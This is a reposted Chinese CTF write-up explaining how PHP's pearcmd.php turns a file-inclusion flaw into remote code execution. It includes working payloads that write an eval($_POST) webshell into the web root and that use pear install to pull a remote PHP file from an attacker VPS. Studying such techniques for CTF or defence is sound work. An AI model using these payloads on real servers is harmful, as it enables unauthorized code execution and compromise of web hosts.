LFI TO RCE之pearcmd.php的妙用

这篇具有很好参考价值的文章主要介绍了LFI TO RCE之pearcmd.php的妙用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

提示:这里可以添加本文要记录的大概内容:

在玩Buu的NewStarCTF时,遇到了一道LFI to RCE的题,规定了php后缀,一点思路都没有,赛后看了WP,总结一下。


提示:以下是本篇文章正文内容,下面案例可供参考

一、pear是什么

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

并且php.ini当中 register_argc_argv=On需要开启,假如环境中没有php.ini,则默认register_argc_argv=On。

register_argc_argv=On其实对应了$_SERVER[‘argv’],即获取参数。

如: 

lfi to rce,php,web安全

<?php

var_dump($_SERVER['argv']);
$example = $_SERVER['argv'];
$example[0]($example[1]);
?>

lfi to rce,php,web安全

 +为分隔符

二、pear的妙用

pear的源代码如下:

lfi to rce,php,web安全

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
    unset($argv[1]);
    $argv = array_values($argv);
}
public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }
代码不是很理解,就是当执行了pearcmd.cmd,会将$_SERVER[‘argv’]当作参数执行

三、例题:NewStarCTF(Includetwo)

题目如下:

 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
    include($_GET['file'].".php");
}else{
    die("Hacker!");
} Hacke

lfi to rce,php,web安全lfi to rce,php,web安全 

 payload:+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php 

不同的系统pearcmd存放的位置好像不一定, 有的在/usr/share/php/pearcmd.php。

关于payload的解释: config-create是pearcmd.php的参数,用于创建默认配置文件。

这个命令需要两个参数,根路径和文件名。所以payload是利用该参数将<?php eval($_POST[1])?>写入到/var/www/html/a.php文件中。

lfi to rce,php,web安全

四、本地测试

<?php
include($_GET['file']);
?>

 注意的点:
1、开启了register_argc_argv选项

2、pearcmd.php文件的路径

3、能够进行文件包含,allow_url_include开启

4、open_basedir不存在限制

lfi to rce,php,web安全

 还可以使用install或download参数进行远程下载进行RCE:

lfi to rce,php,web安全

 lfi to rce,php,web安全

file=/usr/share/php/pearcmd.php&+install+-R+/tmp+http://[vps:ip]/test/peartest.php 


 总结

文件包含到RCE,目前知道的有session包含的条件竞争,日志包含,pearcmd的利用。文章来源地址https://www.toymoban.com/news/detail-730129.html

到了这里,关于LFI TO RCE之pearcmd.php的妙用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

    #知识点: 1、Java安全-RCE执行-5大类函数调用 2、Java安全-JNDI注入-RMILDAP高版本 3、Java安全-不安全组件(框架)-ShiroFastJsonJacksonXStreamLog4j 黑盒看参数名和参数值 白盒看类函数名和可控变量(大部分白盒) JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序

    2024年02月04日
    浏览(41)
  • BUUCTF basic BUU BURP COURSE 1 & LFI Labs

    目录 BUU BURP COURSE 1 LFI Labs 启动靶机,提示只能本地登录,打开burp,刷新一下靶机页面,抓个包 我们需要伪造一个本地ip   点击登录,在登录的http请求头中也要加入本地ip伪造 拿到flag                 flag{ae9e888c-6312-4b81-9fce-60950afbb91d} 启动靶机,点击LFI-1,进行文件包含:

    2024年02月15日
    浏览(37)
  • CTFHub技能树web之RCE(二)

    第五题:远程包含 根据题目,使用远程包含进行 打开phpinfo,可以看到allow_url_fopen和allow_url_include都是On,因此可以使用php://input,由于代码会检查file中的内容,因此不能够使用php://filter包含文件,使用php://input通过hackbar使用POST方式发包,抓包并在最后一行加php代码执行 成功

    2024年02月22日
    浏览(39)
  • CTFHub笔记之技能树RCE:eval执行、文件包含、远程包含、php://input、读取源代码

    小白一个,记录解题过程,如有错误请指正! 知识点:         eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是非常危险的,因为它允许执行任意 PHP 代码。它这样用是很危险的。如果您仔细的确认过,除了使用此结构以外别无方法, 请多加注意,不要允许传入

    2024年02月01日
    浏览(47)
  • 亿赛通电子文档安全管理系统 RCE漏洞

    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 亿赛通电子文档安全管理系统(简称:CD

    2024年02月12日
    浏览(44)
  • 探索Apache ActiveMQ RCE:一个强大的安全研究工具

    项目地址:https://gitcode.com/sincere9/Apache-ActiveMQ-RCE 在这个数字化的时代,消息中间件是构建高效、可扩展系统的关键组件。Apache ActiveMQ作为一款开源的消息代理,广泛应用于企业级应用中。然而,与所有软件一样,它也可能存在安全隐患。这就是为什么 Apache ActiveMQ RCE (远程代码

    2024年04月16日
    浏览(48)
  • 网络安全-JDBC反序列化漏洞与RCE

    ubuntu 20:ip 10.28.144.100,安装docker、python3、docker-compose(可选)、Java(可选) windows11:ip 10.28.144.10,安装了Java、wireshark、Navicat(可选)、IDEA(可选) Java中这些magic方法在反序列化的时候会自动调用: readObject() readExternal() readResolve() readObjectNoData() validateObject() finalize() Java

    2024年02月10日
    浏览(40)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月07日
    浏览(60)
  • 亿赛通电子文档安全管理系统 RCE漏洞复现(QVD-2023-19262)

       亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智

    2024年02月12日
    浏览(50)
  • 数据库安全-Redis未授权&Hadoop&Mysql&未授权访问&RCE 漏洞复现

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php 常见的未授权访问漏洞及默认端口: 默认端口统

    2024年02月03日
    浏览(49)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包